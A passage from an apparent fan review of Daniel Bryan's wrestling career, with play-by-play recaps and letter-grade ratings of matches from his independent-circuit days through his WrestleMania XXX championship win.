They strike it out until McGuinness is sat on top for a belly to back superplex for two. There’s the real Cattle Mutilation but Nigel rolls over, only to be caught in a tiger suplex for two. Danielson fires off a bunch of elbows to the ribs and puts on an armbar followed by a triangle choke. McGuinness gets his arm up at two drops and finally gets his feet in the ropes. Bryan pounds on him in the corner and asks for a ten count but Nigel headbutts him down, injuring Danielson’s bad eye from a recent injury. The big running lariat sets up a bunch of seated elbows to the head. Bryan is out as Nigel puts on the seated armbar to win.

Rating: B-. It’s a good match but I wasn’t feeling it all that well. The biggest problem here was there was some deal with Danielson not attacking the head and having a bad eye but the announcers expected us to know what those stories were about. That’s one thing WWE commentary is great at: you’re always going to hear the story of a match very quickly and leave very little confusion. The action here was solid but it felt like they were trying to have a long match rather than a good one. Also if you’re going to do the false DQ finish, do it after six minutes into the match.

Danielson’s work would be good enough to get him a job in the WWE, though he asked to go to FCW for some rust removal first. Here’s his debut on February 7, 2010.

Kaval vs. Bryan Danielson

Kaval is more famous as Low Ki. They shake hands to start as an ROH chant begins. Feeling out process gets us going with Danielson being taken to the mat and bridging up, only to have Kaval knee him in the ribs. Back up and Bryan cranks on the arm before backing Kaval into the ropes and smacking him in the face. Kaval comes right back with a spinning kick to the face for two of his own and we hit the cravate. More kicks to the face get two on Danielson but he comes back with kicks to the face of his own.

Bryan cranks on the arm but gets backdropped when trying a butterfly suplex. Back up and Kaval fires off even more kicks followed by a double stomp to the ribs for two. A tiger bomb into a cross armbreaker has Kaval in trouble but he gets a foot on the ropes. Danielson’s Swan Dive misses and another kick to the face gets two for Kaval. After kicking Bryan off the top, it’s the Warrior’s Way (top rope double stomp) for the pin.

Rating: C+. This match comes down to the question of do you like Low Ki’s style or not and I’ve never been a fan. He’s FAR too one dimensional for my taste and it drives me insane. Danielson would get the recognition over Kaval and I can’t say I disagree as he’s far more balanced in the ring than Kaval.

It wouldn’t be long before Bryan was brought up to participate in the first season of NXT. Here’s his first match on WWE TV, from February 23, 2010.

Daniel Bryan vs. Chris Jericho

Jericho is World Heavyweight Champion here. In a weird error, Bryan’s graphic lists him as being from Vegas but the announcer says he’s from Washington. Odd indeed. Bryan can’t get a handshake to start. Jericho slaps him and it’s on. They trade dropkicks and we go back and forth a bit. Keep in mind the idea here is that this is Bryan’s debut so you have to factor out that he’s US Champion as this is being written.

Barrett cuts a quick promo here where he kisses up to Jericho a bit more but doesn’t say what he’s actually learning. Bryan throws some kicks and goes for the knee. Daniel controls here as Cole begins his indy bashing stuff and his war against the internet. Bryan speeds it up and knocks Jericho to the floor.

And there’s the highlight reel moment of the first season as Bryan DIVES through the ropes but Jericho catches him in a belly to belly to slam his back into the edge of the announce table which must hurt beyond belief. Back in the ring Bryan gets a leg lock and Jericho is in trouble. Codebreaker out of nowhere though and Bryan is down. Walls end it soon after.

Rating: B. All things considered, this was mind blowing. Factoring in that this was his mainstream debut, this can only be classified as a success. Solid match here either way and that counter spot was great. Seeing a guy like Bryan giving Jericho a legit scare here with a nice leg lock thrown in was something no one expected. This was great all things considered.

After debuting as part of the Nexus, Daniel would be fired for choking Justin Roberts with a necktie. DUring this time he went to the indies, including a stop in California at PWG Seven.

Roderick Strong vs. Bryan Danielson

I’ll be calling him Bryan in this for the sake of my own sanity. This is during his fired time from WWE. I’ve always liked Strong so this should be decent at least. People throw in ties in a nice joke to Bryan. This is his big return so a lot of people are happy here. The other commentator is named Rick Knox here apparently. Strong grabs the arm to start so the fans chant “You’re going to get your f’ing head kicked in”. It’s a Danielson thing and it’s very annoying. Standoff after some mat work.

Danielson misses a big kick and Strong hits the floor to break up the momentum. Bryan goes off with kicks in the corner as I guess you can forget about me just calling him Bryan. Strong hammers away and we hit the mat due to reason of lack of air. Strong pulls out a tie to choke Danielson in a semi-funny bit. The announcers talk about how Danielson did nothing before appearing on WWE TV. I guess FCW is considered nothing now?

Bryan gets a running boot/knee to get us back to even. He grabs the tie now and chokes away at Strong. Well at least he’s got a sense of humor about it. Danielson teases a big dive but instead settles for a running knee off the apron. Top rope dropkick puts Strong down as does a running knee for two. Cattle Mutilation is blocked into a powerslam by Strong for two. Apparently the vegan thing has only been in place since the beginning of 2010. Interesting I guess.

Strong Hold by Strong which is one of his signature moves. It’s a Boston Crab/Liontamer if that makes no sense to you. Danielson slips out into a pinfall reversal sequence including an old school Tumbleweed. Off to a kneebar by Danielson getting us some Derrick Bateman inspired SUBMISSION WRESTLING! Strong gets to the ropes but Danielson has until five.

They strike away a bit and Bryan gets all ticked off. After a semi-botched crucifix Bryan hammers in 19 elbow strikes to the head. Little overkill there much? Cattle Mutilation (double chickenwing with a bridge. Look it up) but Strong makes the ropes. Gutbuster by Strong sets up a backbreaker which he does like 10 variations of but the LeBell Lock (not called that) goes on seconds later and it’s over. Bryan won if that wasn’t clear.

Rating: B. See, this was a far more competitive match with some thinking in it. The tie stuff was a nice touch and they made this feel like a big match. It helps that both guys are talented but I think that’s implied. Pretty good stuff here and definitely the best match of the show so far.

Bryan returned to the WWE at Summerslam 2010 as a mystery partner in John Cena’s match against the NExus. He would then feud with his NXT pro Miz, including this match from Night of Champions 2010.

US Title: The Miz vs. Daniel Bryan

Miz in blue here which works for him in a weird way. Riley is here with Miz of course. We’re told that Shawn trained by HBK which I don’t remember hearing before. Very well may have been though. Somehow we talk about Lou Thesz and Cole says he Googled all of his info. Can we get some talk about breakfast again? It’s far more interesting than this bickering.

Miz with a nice bow and arrow hold as the announcers keep up their complaining. We get an explanation for the name LaBelle Lock, which is named after an old wrestler from the 30s. Well that’s better than nothing. Miz works the arm as Striker says he thinks Bryan is attractive. We get a shoulderbreaker and Striker gives a shout out to Double A (Arn Anderson) and says he should be in the Hall of Fame. Say it with me: AMEN!

The champ throws out a big boot as we’ve literally seen it three times tonight. Bryan with a suicide dive through the ropes to take out Miz. He SELLS THE ARM and hits a dropkick off the top for two. They slug it out and the selling continues. Let the boo/yay chanting begin! Running dropkick in the corner which always amazes me when someone hits it for some reason.

Miz kicks out again and Bryan gets a bit frustrated. We head up top and Bryan gets crotched. SWEET clothesline takes down Bryan who lands on his arm for two. All Miz here as he CRANKS on the arm and makes Bryan scream. Ropes are grabbed but Miz has til five. If he yelled that the IWC would have rioted. The Finale (not typing that name out) is countered into a rollup for two.

Riley gets on the apron but Miz punches him by mistake. Rollup by Bryan gets two and I would have bet on that being the ending. Bryan to the floor and Riley rams the post by mistake. Bryan STILL holds the arm. Miz just goes off on Bryan with punches but gets pulled into the LaBelle Lock AND IT’S OVER! Miz cries at ringside in a funny moment.

Rating: B+. This WORKED. I was way into the ending here as Bryan came off as awesome, just like Miz. I can’t wait for the IWC to whine about how Bryan carried Miz here and I can’t wait for it. Miz more than held up his half out there and looked great (just to be clear, Bryan was great here too). This was a very solid match but was held back by Riley interfering. Miz losing this way is perfect and it definitely put Bryan over. Very solid match and I was most impressed.

After not much of a 2011, Bryan would rebound by winning the Money in the Bank briefcase for the World Heavyweight Championship briefcase. He would rise up the card on his own though and get a shot at the belt on November 29, 2011’s Smackdown.

Smackdown World Title: Mark Henry vs. Daniel Bryan

We even get big match intros. The winner gets Big Show at TLC. Bryan runs for the corner almost immediately. You can win by pin, submission or escape. Bryan keeps trying to run and avoid corners. He wisely goes for the bad leg so Henry throws him into the cage. He splashes Bryan against the wall and we take a break. Back with Henry still dominating. We get a clip from during the break with Henry pulling Bryan back and in essence sling shotting him into the cage.

Time for a nerve hold to waste some time. Bryan fires off a dropkick but Henry kills him with a clothesline. The leg is wearing out though as he kind of falls into the cover for two. Bryan wakes up and goes crazy on the ankle, getting Henry down on the mat and screaming in pain. Bryan climbs but Henry makes the catch, crotching Bryan on the ropes. Henry goes for the door but Bryan grabs the ankle again. Bryan fires off a dropkick to the knee and hooks the LeBell Lock but Henry powers out of it.

Off to an ankle lock and the place is really getting into this. Henry kicks Bryan off but he can’t get up to follow up on it. The challenger goes up but gets his tights partially pulled down. Now Henry goes up but Bryan follows him. He gets over the top but Henry grabs the arm and pulls him back in. There’s some good drama in this. Henry tries a powerbomb out of the corner but Bryan climbs over the top. Henry pulls him back in again and headbutts him into the World’s Strongest Slam from the top. And that takes care of Bryan at 11:15.

Rating: B. Good main event here and the drama towards the end was solid. I don’t think anyone had any realistic reason to believe that Bryan was going to win and they shouldn’t have. He’s a midcard guy getting his first chance in there with the big boys and he’s not ready for the title yet. Still though, very solid main event and Henry gets a win that he’s been lacking recently.

At TLC, Mark Henry and Big Show had quite the war. It was such a battle that Bryan had an opening and won the title. The monsters weren’t pleased and had a rematch in a cage at the 2012 Royal Rumble.

Smackdown World Title: Big Show vs. Daniel Bryan vs. Mark Henry

Bryan is champion and beat Show at TLC by cashing in his MITB case in 45 seconds. Show beat Henry at the same show and ran over Bryan’s girlfriend AJ on Raw to set all this up. This is one fall to a finish and it’s pin/submission/escape. Bryan immediately goes for the corner but Henry pulls him down and Show runs Bryan over for two. Show crushes Henry against the cage wall but has to stop to pull Bryan back inside. Rey tries to run up again but Show catches him by the ankle and slams him back in.

Show loads up the WMD but hits the cage wall instead. The champion fires off some kicks but gets headbutted right back down. Bryan kicks the knee out even harder and fires off some kicks to Henry to keep the other monster down. He goes for the door but you know this isn’t ending that quickly. Henry makes the stop and demands that the referee CLOSE THAT DOOR. Show superkicks Henry down and it’s his turn to take over for awhile.

Bryan gets slammed down but Henry is back up again. A few punches put Show down because a dozen chair shots usually can’t, but a few punches can. Actually that’s a great way to keep Henry looking strong. The fans are cheering for Bryan as Henry and Show collide to put all three guys down. Show gets back up and clotheslines Bryan down a few times before superkicking him in the face. The chokeslam is countered and Bryan hits a tornado DDT on Show for two.

The LeBell (NO!) Lock is put on Show but Henry breaks it up in about a second. The WMD gets two on Henry but Bryan makes the save, which ticks Show off. Bryan SPRINTS up the cage but Show chases after him and grabs Bryan before he can get out. Bryan sits on the top of the cage and pounds away, only to be caught again. The champion is literally hanging from Show’s wrist before finally letting go and falling to the floor to retain the title.

Rating: D+. This really wasn’t all that great. At the end of the day, it was a lot of the same sequence over and over again with Show and Henry not having a ton of interaction at all. The ending didn’t look great either and I’m not sure why Show would just hold him out over the floor like that. This falls under the category of “…..really?” as it’s hard to buy Bryan keeping the belt here.

Bryan would lose the title at Wrestlemania in 18 seconds but he would stay in the title scene. It would be a different title however as he would feud with CM Punk over the Raw title, including this match at Money in the Bank 2012.

Raw World Title: Daniel Bryan vs. CM Punk

This is now No DQ, Punk is defending and AJ is guest referee. Punk takes him to the mat and fires off some quick kicks. They head outside and Bryan gets rammed into the apron, only for Punk to get rammed into the barricade and kicked in the chest. Back in and Bryan fires off the YES kicks but gets rolled up for two. Bryan pounds away in the corner and they chop it out. That evolves into a strike off and the champion takes over.

A backbreaker looks to set up a middle rope legdrop but Bryan moves, followed by more YES kicks. They head to the floor again and Punk takes over, sending Bryan into the barricade again. Punk accidentally elbows AJ in the face, sending her out to the floor. The champ goes to check on her and Bryan uses the distraction to hit the running knee off the apron to take Punk down.

Punk gets draped over the steps on the floor and Bryan fires off more kicks. Punk comes back and sends Bryan into the timekeeper’s table. This is a back and forth match the entire time so far. The fans want tables because they’re greedy people. Punk pulls one out from under the ring but Bryan slams him down on the outside. Bryan finds a kendo stick and pounds away on the ribs of the champion. Punk rolls away and gets back inside while Bryan is still on the floor.

Back in and Punk gets the stick for a second, only for Bryan to go back to the ribs. Punk loads up a springboard but Bryan hits Punk in the ribs with the stick to take him down. Bryan fires away with stick shots to the ribs, complete with YES shouts. Those shots get two with the regular referee having taken over inside. Daniel goes up but the swan dive misses, putting both guys down.

They trade kicks and then forearms but it’s a leg lariat from Punk that takes Bryan down. Punk comes back with a running knee to the head and the snap powerslam for two. GTS and YES Lock are both countered and another GTS attempt is countered into a rana for two. Bryan kicks the champ’s head off and both guys are down. Bryan pops him in the back with a kendo stick and puts on a surfboard.

Punk manages to get to the kendo stick and beats the fire out of Bryan with it but can only get two. Punk goes up top but Bryan drills him with forearms to the head. Bryan pops up top and hits a superplex to put both guys down again. AJ is back and she sends the regular referee out to the floor. It’s time to skip! AJ pulls out a chair and Bryan crawls to her for it. Instead AJ throws the chair in the middle of the ring and it’s a scramble for it. Isn’t that how the XFL started its games?

Bryan gets in a kick to the ribs and pounds away on Punk with the chair for a close two. Bryan tries to talk to AJ calmly but it gets him rolled up for two by the champ. Daniel fires off more kicks to the chest of Punk and Punk can barely sit up in the corner. Bryan gets a running start but Punk comes out with a clothesline. Now Punk has the chair and blasts Bryan with it before wedging it between the top and middle ropes.

Punk goes to get Bryan to ram him into the chair, but AJ is standing in front of the chair. As Punk yells at her, Bryan comes up from behind and dropkicks Punk into the corner but not necessarily into the chair. Bryan goes to get the kendo stick but AJ is standing on it. She gives him a psycho stare and Bryan gives up. He walks into the high kick though and Punk slams Bryan onto the chair. The top rope elbow misses and the elbow hits the chair. Bryan throws on the YES Lock and grabs the stick at the same time to choke away.

Punk somehow bends back and blasts Bryan in the knee with the stick, followed by a GTS, but the champion can’t follow up. The GTS eventually gets two so Punk brings in a table. Punk loads up the elbow through the table but Bryan crotches Punk and hammers away. Punk slips down off the ropes and crotches Bryan at the same time. He pounds away with elbows and a belly to back superplex through the table FINALLY pins Bryan to retain the title.

Rating: A. This was GREAT at the end as I was hanging on every count of every near fall. That was a great match all the way through, but were you expecting anything else with these two having nearly half an hour? The major problem here though is the lack of AJ involvement. She basically did nothing other than blocking a weapon shot either way, and the ending was about the wrestling instead of her. That’s fine on paper, but we’ve spent two months building her up as the key to this whole thing. Still though, the match was more than enough to make up for that.

Bryan would start having anger issues around this time and join forces with another angry man in the form of Kane. The two would win the Tag Team Titles and become known as HELL NO. The new team would have issues with the trio known as the Shield who also had problems with Ryback. These two trios would face off at TLC in a TLC match, due to CM Punk being injured and not being able to face Ryback as scheduled.

Ryback/HELL NO vs. The Shield

It’s a TLC match but you can win by pin/submission because there’s nothing to hang above the ring. Shield comes through the crowd of course. The brawl starts on the floor of course with Bryan vs. Rollins, Kane vs. Reigns and Ambrose vs. Ryback. Ryback and Ambrose get in the ring and the smart aleck fans just have to chant Goldberg. Shield gets Ryback 3-1 but he shrugs them off. Kane tries to bring in a ladder but Rollins dropkicks it into the monster’s ribs.

Bryan takes a ladder to the face as well but here’s Ryback to beat them all up. Reigns takes Kane down with a chair but Kane makes the save. I think Ryback is busted a bit. Bryan kicks Reigns in the corner and the fans are WAY into Danny boy. Reigns is thrown into a ladder which gets two for Kane. Bryan saves Ryback and the fans want tables. Rollins jumps into a Kane uppercut for two before getting put inside a ladder. Kane beats on the ladder with a chair for a bit but Ambrose takes Kane out with a DDT onto the chair.

Ryback rams Rollins and Ambrose into the corner and there’s another Goldberg chant. The fans still want tables. Ryback blocks a beal into the ladder in the corner and pounds Ambrose and Rollins down again. A splash crushes both of them against the ladder, followed by a suplex from Ryback to put both of them on the ladder. Reigns breaks up the double Shell Shock and it’s another three on one beating. Where did HELL NO go?

Shield loads up the triple powerbomb….and it actually works. Seriously, no save from the champions until a few seconds later. Bryan goes off on everyone but gets caught in the numbers game. Kane finally comes back but gets beaten down as well. Back into the ring and it’s time for the chairs portion of the match. Bryan gets beaten down before being double superplexed off a table on the top. Kane barely makes a save but he gets beaten down by the chair as well.

Ambrose and Rollins try the double superplex on Kane as well but he shoves Rollins to the floor and clotheslines Ambrose down. The side slam puts Reigns down but Dean makes the save. Instead of I think a DDT on Kane though, it’s a chokeslam for Dean through the chair for two. Back to the floor and Reigns spears Kane through the barricade to a BIG reaction. Kane gets buried under a bunch of stuff, but in the chaos, Bryan grabs the NO Lock on Ambrose. He eventually gets it on all three guys but the numbers catch up to him.

Bryan fights back AGAIN with a bunch of kicks but eventually he falls prey to the Blackout (running curb stomp) onto the EDGE OF THE CHAIR from Rollins. FREAKING OW MAN!!! Ryback is up though and house is cleaned. Rollins is thrown onto Ambrose and it’s chair time for Reigns. Ambrose comes back AGAIN but gets speared down. There’s a Meat Hook for Dean followed by Shell Shock for two as Rollins saves. Ryback goes to the floor but gets caught by some chair shots. Ryback charges at Reigns to tackle into whatever is in his path in a cool visual.

The Shield and Ryback are all up by the entrance and Ambrose chairs him in the back to take him down again. They shove a ladder onto Ryback and destroy him with some chair shots and put him on a table. There’s a HUGE, as in bigger than the usual HUGE ladders, and Rollins climbs up. Ryback fights up though and Rollins is in trouble. Ryback throws Seth through a big stack of tables, but Ambrose and Reigns are double teaming Bryan in the ring. Reigns superbombs Bryan through the table for the pin at 22:55.

Rating: A. AWESOME brawl here with a great story being told throughout. Ryback gets two do the big spot to look strong and the Shield’s pack mentality worked very well too. Great match here and definitely better than I was expecting. Shield looked like they could more than hang in there, and that was the main thing they had to worry about. Great stuff.

HELL NO and Shield would feud for the rest of the spring, culminating with Shield taking the Tag Team Titles at Extreme Rules. After breaking up, Daniel went on a rampage to prove that he wasn’t the weak link in the team. This run went so well that Bryan was named #1 contender to the WWE Championship for a match at Summerslam. He ran a gauntlet on Raw on July 22, 2013 to prove his worth.

Daniel Bryan vs. Jack Swagger

This is the first of an undetermined amount of matches for Bryan. Colter says that Stephen F. Austin isn’t the father of this country as he didn’t fight for the right to allow people to chant YES. Bryan isn’t a Real American because he took a handout last week from John Cena and tonight he gets to face a Real American in Swagger. Bryan gets a quick rollup for one but Swagger takes out his leg to put him down.

Swagger pounds on him in the corner but walks into a dropkick to send him to the floor. The FLYING GOAT is countered with a forearm to the face and Swagger drops the Vader Bomb for two. He loads up the Patriot Lock but gets caught in the YES Lock for the first submission at 2:57.

Antonio Cesaro vs. Daniel Bryan

This is joined in progress after a break with Cesaro holding Bryan in an armbar. Lawler tells us we need to download the App so we can see action like he’s showing us right now. Cesaro whips Bryan into the corner for two and puts on the standing chinlock. Bryan takes him down and hits the double leg stomp out of the surfboard. Cesaro comes back with a pure power suplex and another hard chinlock but Bryan easily fights up and hits the running clothesline followed by the kicks to the chest. A running dropkick in the corner gets two on Cesaro but Swagger shoves Bryan off the top into the uppercut for two.

Back from a break with Cesaro getting two off the gutwrench suplex. A kind of Death Valley Driver gets two but Bryan comes back with a hard kick to the head for two of his own. Cesaro takes him to the corner for a superplex but gets forearmed and kneed down, only to have Cesaro come back with a top rope superplex attempt. Bryan slips through his legs and gets Cesaro in the Tree of Woe for a bunch of kicks, capped off by the delayed running dropkick to the face.

A belly to back superplex is countered into a crossbody to give Antonio two as this is getting really good. Back up and Cesaro DESTROYS Bryan with about 25 uppercuts in a row followed by a huge clothesline for two. Bryan backdrops out of the Neutralizer and starts firing off forearms before putting on a leg lock and pounding away with driving forearms to the face. Cesaro is sent to the floor and the FLYING GOAT takes out the Real Americans. Back in and Cesaro tries to throw Bryan in the air for the uppercut but Bryan comes down into a small package for the pin at approximately 15:00 shown.

Rating: A-. Someone explain to me why Cesaro isn’t one of the three top heels in this company right now. He could EASILY being in Del Rio’s spot and blowing away everything he does. Both guys looked great here and this is probably a match of the year candidate. Great stuff and I want more Cesaro right now.

Maddox is in the back with Alex Riley next to him of all people. Bryan has a third opponent after the break.

Daniel Bryan vs. Ryback

Bryan goes right for Ryback’s bad leg but Ryback easily knocks him down. Ryback shouts that Bryan is a little man in a big man’s world and chokes him him with a boot. The stupid fans chant that Ryback can’t wrestle so Ryback suplexes Bryan down for two. We hit a quick chinlock with Ryback shouting that this is too easy. Ryback’s Thesz press is countered into a wicked looking half crab but he’s right in front of the ropes. A splash gets two for Ryback but the Meathook is blocked by a knee to the chest.

Bryan hits some corner dropkicks but Ryback clotheslines him down for two. Ryback heads to the floor to set up a table but Bryan comes flying through the ropes to send Ryback into the announce table with a thud. Ryback sends him into the steps and gets back in, only to have Bryan fire off the kicks. The YES Lock is countered by a throw but Bryan drop toeholds him into the buckle. A missile dropkick gets two and there’s the YES Lock but Ryback finally makes the ropes. Ryback heads to the floor but catches Bryan coming off the apron in a powerbomb. Another powerbomb through the table is good for a DQ at 9:10.

Rating: B-. This was a great David vs. Goliath match and I like that they didn’t make Ryback lose clan here. Bryan beating the Real Americans is fine but having him win against a fresh monster after nearly half an hour in the ring is too much of a stretch. This worked very well though as Ryback can still be a monster when he isn’t a whiny jerk.

And of course, Bryan’s title shot at Summerslam less than a month later.

Raw World Title: Daniel Bryan vs. John Cena

The fans are almost unanimously behind Bryan here. Cena has a very bad elbow injury coming in and has been out of action for a few weeks. Feeling out process to start with Cena taking him to the mat via a headlock. Bryan easily gets back to his feet and tries a test of strength of all things with Cena taking him down to the mat. He can’t break Bryan’s bridge though and Bryan monkey flips him down. The YES Lock doesn’t work as Cena bails to the floor.

Back in and Cena tries a left arm (the bad arm) headlock but Bryan takes him down again. The double knee stomp surfboard doesn’t work as Cena kicks Bryan away. Daniel goes to the apron and is knocked HARD into the announce table. Cena follows him to the floor but gets whipped into the steps. Bryan tries a suplex off the steps in a spot I’ve never seen before but Cena counters into one of his own to put both guys down. Fans: “YOU STILL SUCK!”

Cena wisely turns it into a brawl and punches Bryan down before hitting a Batista Bomb of all things. We hit the chinlock and HHH hasn’t been a factor yet. Bryan comes back with forearms to the head and kicks to the chest in the corner but HHH yells at him. Lawler: “Don’t gloat goat!” Bryan hits the running clothesline but misses the hard kick to the head. Cena tries his finishing sequence but Bryan kicks him in the head to block the Shuffle. Bryan can’t hook a submission hold and gets caught in the ProtoBomb followed by the Shuffle for no cover.

Bryan flips out of the AA and catches a charging Cena in the chin with a boot. The missile dropkick connects for two and Bryan fires off the kicks to the chest. Now Bryan goes after the bad arm before slapping on the STF of all things. Cena is about to get to the ropes so Bryan pulls him back and hits two German suplexes for two each. Bryan counters the AA into the YES Lock and Cena is in big trouble. Cena counters by getting his head free (wrestling you say?) but gets pulled down into a guillotine choke.

John FINALLY powers out of it but can barely follow up. Bryan charges right at Cena but gets caught in the AA for a close two. That came out of nowhere and had the fans inhaling in unison. Cena goes up but has to knock Bryan down twice before getting caught by a running dropkick. Now Bryan gets up top and superplexes Cena down but stays on top in a cool power move. He sits up onto the top for the Swan Dive but Cena is up at two. John rolls to the floor and blocks the FLYING GOAT with a forearm to the head.

This time the top rope Fameasser connects for two and Cena is getting frustrated. Cena tries the middle rope AA but Bryan fires off about 25 elbows to the head to break it up. Bryan can’t hit a top rope rana so Cena loads up what looks like a Styles Clash but jumps down and drops Bryan o his head in a SCARY looking botch. Bryan looks ok though and Cena rolls into the STF. Bryan rolls over to his side but the hold is still on, basically making it a chinlock with a body scissors.

Daniel rolls out and hooks the YES Lock in the middle of the ring. Cena crawls over (with his arm slapping the mat in what could have been a tap if you stretched a bit) and FINALLY makes a rope. Bryan hits the running dropkick in the corner and makes it a pair for good measure. Cena comes back with a MASSIVE clothesline but he can’t follow up. They slug it out and both hit shoulders at the same time for another double layout.

Now they slap each other out in the middle of the ring and it’s Bryan taking over and moonsaulting out of the corner, but Cena nearly catches him in mid air. He tries a spinebuster but Bryan counters into a DDT and a lot of checking on each other. Bryan tries a high cross (popular move tonight) but Cena catches him in mid air. Bryan counters into the small package they’ve been building up for weeks but it’s only good for two in a GREAT false finish. The big kick to Cena’s head puts the champion down again and a Shining Freaking Wizard GETS THE PIN AND THE TITLE AT 26:58!

Rating: A+. WHAT A BRILLIANT FINISH! They totally fooled us all by having the standard WWE formula playing out but Bryan wins it out of nowhere with a knee to the head. Brilliant move there after a great match to boot. What more can you ask for in the main event of the second biggest show of the year? Excellent stuff and HHH did absolutely nothing at all.

As soon as the match was over, HHH gave Daniel Bryan a Pedigree, allowing Randy Orton to cash in his Money in the Bank briefcase for the WWE Championship. This started a six month war between HHH and Bryan with HHH saying Bryan wasn’t good enough to be the WWE Champion and the face of the company. The fans rallied behind Bryan, leading to an Occupy Raw movement. HHH was angry enough that he agreed to a match with Bryan at Wrestlemania XXX, where the winner would be entered into the triple threat title match to end the show.

HHH vs. Daniel Bryan

The winner goes into the triple threat later tonight. Cole says this should be a mismatch, even though Bryan is a Triple Crown winner and a three time World Champion. The YES chant was awesome in person and the place went absolutely nuts when Bryan’s music hit. Oddly enough he wasn’t announced at all and just came to the ring with his music. No Big Match Intros either. Bryan’s left shoulder is taped up after the attack a few weeks ago on Raw.

They stare each other down for a good while to start as a bunch of fans have YES written on pieces of paper. HHH offers a handshake and is quickly kicked down for two. Daniel fires off more kicks in the corner but HHH bails to the floor to avoid a big kick. Back in and HHH goes for the bad arm like a smart wrestler would but Bryan takes him down with a headlock takeover. A hard shoulder block drops Daniel but it’s right back to the headlock.

HHH drives shoulders in the corner but Daniel comes back with his kicks, only to have HHH take him down by the leg in a nice counter. Bryan gets away before HHH can wrap the arm around the post and hits a running tornado DDT off the apron. The running knee off the apron puts both guys down as Stephanie is freaking out. Back in and Bryan goes up but gets crotched. Stephanie: “B+ AT BEST!”

A big right hand knocks Bryan out to the floor and it’s table time. Bryan fights out of a Pedigree attempt through the table but gets his arm slammed into the table. Stephanie: “YES! YES! YES!” Bryan is back in the ring at seven and HHH drives knees into the shoulder. We hit the armbar for a bit but Bryan is able to backdrop HHH to the floor. HHH is able to get up and block the FLYING GOAT with a big right hand, which looked like a slegehammer shot on the big screen.

HHH gets him back to the apron and drops him arm first onto the apron. Stephanie is still yelling at Bryan as she’s just perfect in this role. Back in and we go old school with a crossface chickenwing on the bad arm. HHH shifts into a regular Crossface and the fans aren’t sure what to think of it. Daniel makes the rope and they slug it out until Bryan drops him with a running forearm. Bryan loads up the moonsault but HHH wisely stops and tries a German, only to be reversed into three straight German suplexes for three straight near falls.

The Game counters another into a chickenwing attempt but HHH reverses into a tiger suplex of all things, putting Bryan down on his shoulder again. HHH’s superplex attempt is countered into a sunset bomb but Bryan can’t cover. The running dropkick in the corner has HHH in trouble but he comes out of the corner with a wicked clothesline. Stephanie: “YES! WOO!”

The Pedigree is countered into a rollup for two and a big kick to the head drops HHH again. Bryan loads up the flying headbutt, only to dive head first into a knee. Back to the Crossface and HHH rolls Bryan away from the ropes ala Benoit in 2004. Daniel is able to counter into the YES Lock out of nowhere but HHH gets a rope. HHH rolls outside and it’s the FLYING GOAT to send him into the barricade.

Bryan hits it again before firing off the YES Kicks to the chest. Back in and there’s the missile dropkick into the nipup followed by more YES Kicks. JBL: “Something isn’t right about this!” The big kick to the head gets two as the fans think this is awesome. Daniel loads up the running knee but is caught in a spinebuster. The Pedigree gets two and Stephanie is shocked.

A small package gets two on HHH so he hammers away in the corner with some heavy right hands. Another Pedigree is countered with a backdrop for two but HHH holds on to the grip. Bryan won’t get up though so HHH drives knees into the shoulder. HHH still can’t hit the Pedigree so Bryan kicks him in the face. With both guys spent, Daniel backflips out of a suplex and nails the running knee dead on to send himself to the main event at 25:58.

Rating: A. Oh yeah this was awesome. They played the underdog card perfectly and the fans ate it up with a spoon. I’m surprised they went with the clean pin instead of the fourway but that’s the better move at the end of the day. It’s definitive and clean with Bryan beating HHH in a fair match despite being injured coming in. Outstanding opener, even if most people knew Bryan was going to the title match anyway.

Post match Stephanie slaps Bryan until HHH gets back up and lays him out. HHH crushes the shoulder against the post with a chair again to leave Bryan’s future in doubt.

And now the triple threat.

WWE World Heavyweight Championship: Randy Orton vs. Batista vs. Daniel Bryan

Rev Theory plays the champion Orton to the ring. The song goes on too long though as they play the full thing. Batista is LOUDLY booed whereas Bryan gets the hero pop, even though he can only YES with one arm. An interesting note: Cole hypes up Extreme Rules as a “WWE Special” rather than a pay per view, which is a good way to advertise it on the Network. Any time you can get the word “pay” out of something it sounds more enticing. After the Big Match Intros we’re ready to go.

Batista runs Orton over to start but can’t hit the Bomb on Bryan. Orton and Bryan are both thrown outside with Bryan being sent into the barricade arm first. Batista loads up a powerbomb onto the steps but Orton counters into a backdrop to get a breather. Bryan starts to get up but Orton drops him back first onto the barricade to stop him again. It’s Dave vs. Randy in the ring again with Randy hitting the circle stomp followed by the knee drop for two.

Daniel comes back in with a double missile dropkick but Batista slams both guys down for two each. Bryan is able to send Batista into the buckle and hits a string of running dropkicks in the corner to both guys. A top rope hurricanrana takes the champion down again but Batista suplexes Daniel over the top and out to the floor. Now Batista goes up top but Orton pulls him down with a superplex. Bryan is back in again and nails the swan dive to set up the YES Lock, but HHH and Stephanie come in from the crowd to pull out the referee.

Batista hits the spinebuster as Scott Armstrong comes in to be referee. Cole calls him crooked, but wasn’t he crooked before in Bryan’s favor? So the story is HHH had Armstrong do a fast count on Bryan at Night of Champions so the pin wouldn’t count? Was that ever established on WWE TV? Anyway he counts two after a Batista Bomb to Bryan and Batista charges into the post. Bryan kicks Armstrong in the head and nails the FLYING GOAT to take out the Authority and Armstrong.

HHH is livid and pulls out the sledgehammer but Bryan steals it and lays out the Game. The original referee counts two as Bryan rolls up Batista but Orton is back in for the save. Bryan’s arm is exposed as the opponents start double teaming. HHH and Stephanie are helped out (cue Goodbye Song) as Orton bounces the steps off Bryan’s head. Batista and Randy pick up Bryan and load up the announce table. The fans chant for CM Punk out of desparation (this happened throughout the night but never became a big thing).

In the spot of the night, Batista lifts up Bryan for a Batista Bomb and Orton hits the RKO (neckbreaker but whatever) to lay Bryan out cold. The scary part though was Orton who landed square on a monitor. I was genuinely scared he wasn’t going to get up at all. A stretcher is brought out for Bryan as Lawler asks a very good question: why is Batista not throwing someone in the ring and trying to pin them? That’s a problem in wrestling today. So many people just stop using logic because it’s not the planned finish. As soon as Orton could indicate that he was ok, Batista should have tried to pin him.

Instead he just whips Orton into the barricade about five times in a row to lose what they had of the crowd. Orton comes back with the Elevated DDT onto the floor but Bryan is off the stretcher and literally crawling back to the ring. An RKO is countered into a YES Lock but Batista makes the save.

The spear misses Orton and sends Bryan to the floor, setting up an RKO on Batista for a VERY close two. Orton loads up the Punt but Bryan takes his head off with the knee. Batista steals the cover for two and nails the Batista Bomb on Orton, but Bryan takes him down with the running knee, setting up the YES Lock on Batista for the submission and the title to blow the roof off the place at 23:01.

